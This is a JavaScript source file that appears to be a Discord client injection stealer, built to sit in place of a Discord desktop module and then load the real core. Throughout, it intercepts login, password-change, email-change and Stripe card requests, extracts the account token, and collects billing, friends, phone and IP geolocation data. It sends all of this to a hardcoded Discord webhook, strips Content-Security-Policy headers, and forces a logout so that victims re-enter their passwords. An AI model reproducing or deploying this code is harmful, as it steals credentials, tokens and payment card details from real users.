const {BrowserWindow,session} = require('electron');

const os = require('os');

const https = require('https');

const querystring = require("querystring");

const fs = require("fs");

var config = {

brand: "chavex7", // replace

webhook: "https://discord.com/api/webhooks/1307946895464861706/p9b9rY9cwwZbkBN6gqIUW\_oX47L914vlw6HNRwFuYhFBMn\_XpxYT8LQnKhKIVi7z6SE",

logout: true, // false

disable\_qr\_code: true, // don't touch

notify\_on\_logout: true, // don't touch

notify\_on\_initialization: true, // don't touch

ping: [true, ""],

embed: {

username: "Spidey Bot", // replace

footer: {

text: `chavex7`, // replace

icon\_url: "https://i.imgur.com/jbagJwj.jpeg", // replace

},

avatar\_url: "https://i.imgur.com/jbagJwj.jpeg" // replace

},

badges: {

Discord\_Employee: {

Value: 1,

Emoji: "<:staff:874750808728666152>",

Rare: true,

},

Partnered\_Server\_Owner: {

Value: 2,

Emoji: "<:partner:874750808678354964>",

Rare: true,

},

HypeSquad\_Events: {

Value: 4,

Emoji: "<:hypesquad\_events:874750808594477056>",

Rare: true,

},

Bug\_Hunter\_Level\_1: {

Value: 8,

Emoji: "<:bughunter\_1:874750808426692658>",

Rare: true,

},

Early\_Supporter: {

Value: 512,

Emoji: "<:early\_supporter:874750808414113823>",

Rare: true,

},

Bug\_Hunter\_Level\_2: {

Value: 16384,

Emoji: "<:bughunter\_2:874750808430874664>",

Rare: true,

},

Early\_Verified\_Bot\_Developer: {

Value: 131072,

Emoji: "<:developer:874750808472825986>",

Rare: true,

},

House\_Bravery: {

Value: 64,

Emoji: "<:bravery:874750808388952075>",

Rare: false,

},

House\_Brilliance: {

Value: 128,

Emoji: "<:brilliance:874750808338608199>",

Rare: false,

},

House\_Balance: {

Value: 256,

Emoji: "<:balance:874750808267292683>",

Rare: false,

}

},

filters: {

user: {

urls: [

"https://discord.com/api/v\*/users/@me",

"https://discordapp.com/api/v\*/users/@me",

"https://\*.discord.com/api/v\*/users/@me",

"https://discordapp.com/api/v\*/auth/login",

'https://discord.com/api/v\*/auth/login',

'https://\*.discord.com/api/v\*/auth/login',

"https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client\_api/v\*/payment\_methods/paypal\_accounts",

"https://api.stripe.com/v\*/tokens",

"https://api.stripe.com/v\*/setup\_intents/\*/confirm",

"https://api.stripe.com/v\*/payment\_intents/\*/confirm",

]

},

qr\_codes: {

urls: [

"https://status.discord.com/api/v\*/scheduled-maintenances/upcoming.json",

"https://\*.discord.com/api/v\*/applications/detectable",

"https://discord.com/api/v\*/applications/detectable",

"https://\*.discord.com/api/v\*/users/@me/library",

"https://discord.com/api/v\*/users/@me/library",

"https://\*.discord.com/api/v\*/users/@me/billing/subscriptions",

"https://discord.com/api/v\*/users/@me/billing/subscriptions",

"wss://remote-auth-gateway.discord.gg/\*"

]

}

}

}

var execScript = (script) => {

const window = BrowserWindow.getAllWindows()[0]

return window.webContents.executeJavaScript(script, true);

}

class Event {

constructor(event, token, data) {

for (let [key, value] of Object.entries({

"event": event,

"data": data,

"token": token

})) {

this[key] = value;

}

}

handle() {

switch (this["event"]) {

case "passwordChanged":

event\_handlers["passwordChanged"](this.data.password, this.data.new\_password, this.token)

break;

case 'userLogin':

event\_handlers["userLogin"](this.data.password, this.data.email, this.token)

break;

case 'emailChanged':

event\_handlers["emailChanged"](this.data.password, this.data.email, this.token)

break;

case "creditCardAdded":

event\_handlers["creditCardAdded"](this.data.number, this.data.cvc, this.data.exp\_month, this.data.exp\_year, this.token);

}

}

}

session.defaultSession.webRequest.onHeadersReceived((details, callback) => {

try {

if (details.url.startsWith(config.webhook)) {

if (details.url.includes("discord.com")) {

callback({

responseHeaders: Object.assign({

'Access-Control-Allow-Headers': "\*"

}, details.responseHeaders)

});

} else {

callback({

responseHeaders: Object.assign({

"Content-Security-Policy": ["default-src '\*'", "Access-Control-Allow-Headers '\*'", "Access-Control-Allow-Origin '\*'"],

'Access-Control-Allow-Headers': "\*",

"Access-Control-Allow-Origin": "\*"

}, details.responseHeaders)

});

}

} else {

delete details.responseHeaders['content-security-policy'];

delete details.responseHeaders['content-security-policy-report-only'];

callback({

responseHeaders: {

...details.responseHeaders,

'Access-Control-Allow-Headers': "\*"

}

})

}

} catch {}

})

session.defaultSession.webRequest.onBeforeRequest(config.filters["qr\_codes"], async (details, callback) => {

if (details.url.startsWith("wss://")) {

if (!config.disable\_qr\_code == false) {

callback({

cancel: true

})

return;

}

}

await initialize();

callback({})

return;

})

session.defaultSession.webRequest.onCompleted(config.filters["user"], async (details, callback) => {

try {

if (details.statusCode == 200 || details.statusCode == 204) {

const unparsed\_data = Buffer.from(details.uploadData[0].bytes).toString();

const data = JSON.parse(unparsed\_data)

const token = await getToken();

switch (true) {

case details.url.endsWith('login'):

(new Event('userLogin', token, {

password: data.password,

email: data.login

})).handle();;

return;

case details.url.endsWith("tokens") && details.method == "POST":

const item = querystring.parse(unparsed\_data.toString());

(new Event('creditCardAdded', token, {

number: item["card[number]"],

cvc: item["card[cvc]"],

exp\_month: item["card[exp\_month]"],

exp\_year: item["card[exp\_year]"],

}))

case details.url.endsWith('users/@me') && details.method == 'PATCH':

if (!data.password) return;

if (data.email) {

(new Event('emailChanged', token, {

password: data.password,

email: data.email

})).handle();

};

if (data.new\_password) {

(new Event('passwordChanged', token, {

password: data.password,

new\_password: data.new\_password

})).handle();

};

return;

default:

break;

}

} else {

return;

}

} catch {}

})

var event\_handlers = {

async creditCardAdded(number, cvc, month, year) {

const userInfo = await getUserInfo(token);

const billing = await getBilling(token);

var params = {

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "CC Adde",

author: {

name: `${userInfo.username}`,

},

fields: [{

name: "CC Number",

value: `\`\`\`${number}\`\`\``,

inline: true

},

{

name: "CVC",

value: `\`\`\`${cvc}\`\`\``,

inline: true

},

{

name: "Expire",

value: `\`\`\`${month}/${year}\`\`\``,

inline: true

},

{

name: "Billings",

value: `${billing}`,

inline: true

},

{

name: "Token",

value: `\`\`\`${token}\`\`\``,

inline: false

},

],

}),]

}

sendToWebhook(params)

},

async userLogin(password, email, token) {

const userInfo = await getUserInfo(token);

const billing = await getBilling(token);

const friends = await getRelationships(token);

var params = {

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "User Login",

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

fields: [{

name: "Password",

value: `\`\`\`${password}\`\`\``,

inline: true

},

{

name: "E-Mail",

value: `\`\`\`${email}\`\`\``,

inline: true

},

{

name: "Phone",

value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,

inline: false

},

{

name: "Nitro",

value: `${getNitro(userInfo.premium\_type)}`,

inline: false

}, {

name: "Billing",

value: `${billing}`,

inline: true

}, {

name: "Badges",

value: `${getBadges(userInfo.flags)}`,

inline: false

},

{

name: "Token",

value: `\`\`\`${token}\`\`\``,

inline: false

}, {

name: "Hostname",

value: `\`\`\`${os.hostname}\`\`\``,

inline: false

},

],

}), createEmbed({

description: `\*\*HQ Friends (${friends['length']})\*\*\n\n${friends.frien}`,

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

})]

}

sendToWebhook(params)

},

async emailChanged(password, newEmail, token) {

var userInfo = await getUserInfo(token);

var billing = await getBilling(token);

var friends = await getRelationships(token);

var params = {

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "E-Mail Changed",

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

fields: [{

name: "E-Mail",

value: `\`\`\`${newEmail}\`\`\``,

inline: true

},

{

name: "Password",

value: `\`\`\`${password}\`\`\``,

inline: true

},

{

name: "Phone",

value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,

inline: false

},

{

name: "Nitro",

value: `${getNitro(userInfo.premium\_type)}`,

inline: false

}, {

name: "Billing",

value: `${billing}`,

inline: true

}, {

name: "Badges",

value: `${getBadges(userInfo.flags)}`,

inline: false

},

{

name: "Token",

value: `\`\`\`${token}\`\`\``,

inline: false

}, {

name: "Hostname",

value: `\`\`\`${os.hostname}\`\`\``,

inline: false

},

],

}), createEmbed({

description: `\*\*HQ Friends (${friends['length']})\*\*\n\n${friends.frien}`,

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

})]

}

sendToWebhook(params)

},

async passwordChanged(oldPassword, newPassword, token) {

var userInfo = await getUserInfo(token);

var billing = await getBilling(token);

var friends = await getRelationships(token);

var params = {

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "Password Changed",

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

fields: [{

name: "Old Password",

value: `\`\`\`${oldPassword}\`\`\``,

inline: false

},

{

name: "New Password",

value: `\`\`\`${newPassword}\`\`\``,

inline: false

},

{

name: "Phone",

value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,

inline: false

},

{

name: "Nitro",

value: `${getNitro(userInfo.premium\_type)}`,

inline: false

}, {

name: "Billing",

value: `${billing}`,

inline: true

}, {

name: "Badges",

value: `${getBadges(userInfo.flags)}`,

inline: false

},

{

name: "Token",

value: `\`\`\`${token}\`\`\``,

inline: false

}, {

name: "Hostname",

value: `\`\`\`${os.hostname}\`\`\``,

inline: false

},

],

}), createEmbed({

description: `\*\*HQ Friends (${friends['length']})\*\*\n\n${friends.frien}`,

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

})]

}

sendToWebhook(params)

},

}

function getDiscordClient() {

return `${process.cwd().replace(`${process.env.LOCALAPPDATA}\\`, '').split('\\')[0].split(7)}`

}

function getNitro(flags) {

switch (flags) {

case 0:

return "\`\`\`No Nitro\`\`\`";

case 1:

return "<:classic:896119171019067423> \`\`Nitro Classic\`\`";

case 2:

return "<a:boost:824036778570416129> \`\`Nitro Boost\`\`";

default:

return "\`\`\`No Nitro\`\`\`";

};

}

function getRareBadges(flags) {

var b = '';

for (const prop in config.badges) {

let o = config.badges[prop];

if ((flags & o.Value) == o.Value && o.Rare) b += o.Emoji;

};

return b;

}

function getBadges(flags) {

var b = '';

for (const prop in config.badges) {

let o = config.badges[prop];

if ((flags & o.Value) == o.Value) b += o.Emoji;

};

if (b == '') b = '\`\`\`No Badge\`\`\`'

return b;

}

async function getToken() {

return await execScript(`for(let a in window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get\_require:(a,b,c)=>a.exports=c},[['get\_require']]]),delete gg.m.get\_require,delete gg.c.get\_require):window.webpackChunkdiscord\_app&&window.webpackChunkdiscord\_app.push([[Math.random()],{},a=>{gg=a}]),gg.c)if(gg.c.hasOwnProperty(a)){let b=gg.c[a].exports;if(b&&b.\_\_esModule&&b.default)for(let a in b.default)'getToken'==a&&(token=b.default.getToken())}token;`, true)

}

async function getIp() {

return JSON.parse(await execScript(`var xmlHttp = new XMLHttpRequest();xmlHttp.open( "GET", "https://ipinfo.io/json", false );xmlHttp.send( null );xmlHttp.responseText;`, true));

}

async function getUserInfo(token) {

return JSON.parse(await execScript(`var xmlHttp = new XMLHttpRequest();xmlHttp.open( "GET", "https://discord.com/api/v8/users/@me", false );xmlHttp.setRequestHeader("Authorization", "${token}");xmlHttp.send( null );xmlHttp.responseText;`, true));

}

async function getBilling(token) {

var a = await execScript(`var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/billing/payment-sources", false ); xmlHttp.setRequestHeader("Authorization", "${token}"); xmlHttp.send( null ); xmlHttp.responseText`, true)

var json = JSON.parse(a)

var billing = "";

json.forEach(z => {

if (z.type == "") {

return "\`\`\`❌\`\`\`";

} else if (z.type == 2 && z.invalid != true) {

billing += "\`✔️\`" + " <:paypal:896441236062347374>";

} else if (z.type == 1 && z.invalid != true) {

billing += "\`✔️\`" + " <:bannerstory\_creditcard:1108164687134203944>";

} else {

return "\`\`\`❌\`\`\`";

};

});

if (billing == "") billing = "\`\`\`❌\`\`\`"

return billing;

}

async function getRelationships(token) {

var a = await execScript(`var xmlHttp = new XMLHttpRequest();xmlHttp.open( "GET", "https://discord.com/api/v9/users/@me/relationships", false );xmlHttp.setRequestHeader("Authorization", "${token}");xmlHttp.send( null );xmlHttp.responseText`, true)

var json = JSON.parse(a)

const r = json.filter((user) => {

return user.type == 1

})

var rareBadgesFriends = "";

for (z of r) {

var b = getRareBadges(z.user.public\_flags)

if (b != "") {

rareBadgesFriends += b + ` | ${z.user.username}#${z.user.discriminator}\n`

}

}

if (!rareBadgesFriends) rareBadgesFriends = "No HQ Friends"

return {

length: r.length,

frien: rareBadgesFriends

}

}

function sendToWebhook(params) {

if (config.ping[0] == true) {

if (params.content) {

params.content = params.content + ` ||${config.ping[1]}||`

} else {

params.content = `||${config.ping[1]}||`

}

}

var url = new URL(config.webhook);

var headers = {

'Content-Type': 'application/json',

'Access-Control-Allow-Origin': '\*',

}

const options = {

protocol: url.protocol,

hostname: url.host,

path: url.pathname,

method: 'POST',

headers: headers,

};

const req = https.request(options);

req.on('error', (err) => {

console.log(err);

});

req.write(JSON.stringify(params));

req.end();

}

function createEmbed(data) {

let obj = {

"footer": config.embed.footer,

"timestamp": new Date(),

}

for (let [key, value] of Object.entries(data)) {

obj[key] = value;

}

return obj;

}

async function initialize() {

if (!fs.existsSync(`${process.cwd()}/${config.brand}`)) {

fs.mkdirSync(`${process.cwd()}/${config.brand}`)

var token = undefined;

token = await getToken();

const network\_data = await getIp()

var userInfo;

var billing;

var friends;

if (config.notify\_on\_initialization) {

if (token == undefined) {

sendToWebhook({

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "Discord started (session not started)",

fields: [{

name: "Hostname",

value: `\`\`\`${os.hostname}\`\`\``,

inline: false

}, {

name: "Discord Version",

value: `\`\`\`${getDiscordClient()}\`\`\``,

inline: false

}, {

name: "Connection data",

value: `\`\`\`yaml\nIP: ${network\_data['ip'] ?? "Unknown"}\nHostname: ${network\_data['hostname'] ?? "Unknown"}\nCity: ${network\_data['city'] ?? "Unknown"}\nRegion: ${network\_data['region'] ?? "Unknown"}\nCountry: ${network\_data["country"] ?? "Unknown"}\nTime Zone: ${network\_data["timezone"] ?? "Unknown"}\`\`\``,

inline: false

}],

})]

})

} else {

userInfo = await getUserInfo(token);

billing = await getBilling(token);

friends = await getRelationships(token);

sendToWebhook({

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "Discord Started",

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

fields: [{

name: "E-Mail",

value: `\`\`\`${userInfo.email}\`\`\``,

inline: true

},

{

name: "Phone",

value: `\`\`\`${userInfo.phone ?? "None"}\`\`\``,

inline: false

},

{

name: "Nitro",

value: `${getNitro(userInfo.premium\_type)}`,

inline: false

}, {

name: "Billing",

value: `${billing}`,

inline: true

}, {

name: "Badges",

value: `${getBadges(userInfo.flags)}`,

inline: false

},

{

name: "Token",

value: `\`\`\`${token}\`\`\``,

inline: false

},

{

name: "Hostname",

value: `\`\`\`${os.hostname}\`\`\``,

inline: false

}, {

name: "Client Version",

value: `\`\`\`${getDiscordClient()}\`\`\``,

inline: false

}, {

name: "Connection data",

value: `\`\`\`yaml\nIP: ${network\_data['ip'] ?? "Unknown"}\nHostname: ${network\_data['hostname'] ?? "Unknown"}\nCity: ${network\_data['city'] ?? "Unknown"}\nRegion: ${network\_data['region'] ?? "Unknown"}\nCountry: ${network\_data["country"] ?? "Unknown"}\nTime Zone: ${network\_data["timezone"] ?? "Unknown"}\`\`\``,

inline: false

}

],

}), createEmbed({

description: `\*\*HQ Friends (${friends['length']})\*\*\n\n${friends.frien}`,

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

})]

})

}

}

if (config.logout && token) {

await execScript(`window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get\_require:(a,b,c)=>a.exports=c},[["get\_require"]]]),delete gg.m.get\_require,delete gg.c.get\_require):window.webpackChunkdiscord\_app&&window.webpackChunkdiscord\_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.\_\_esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`, true).then((result) => {});

if (config.notify\_on\_logout) {

sendToWebhook({

username: config.embed.username,

avatar\_url: config.embed.avatar\_url,

embeds: [createEmbed({

title: "User Logged Out",

author: {

name: `${userInfo.username}`,

icon\_url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

thumbnail: {

url: userInfo.avatar ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"

},

fields: [{

name: "Nitro",

value: `${getNitro(userInfo.premium\_type)}`,

inline: false

}, {

name: "Billing",

value: `${billing}`,

inline: true

}, {

name: "Badges",

value: `${getBadges(userInfo.flags)}`,

inline: false

},

{

name: "Token",

value: `\`\`\`${token}\`\`\``,

inline: false

},

]

})]

})

}

}

}

}

module.exports = require("./core.asar");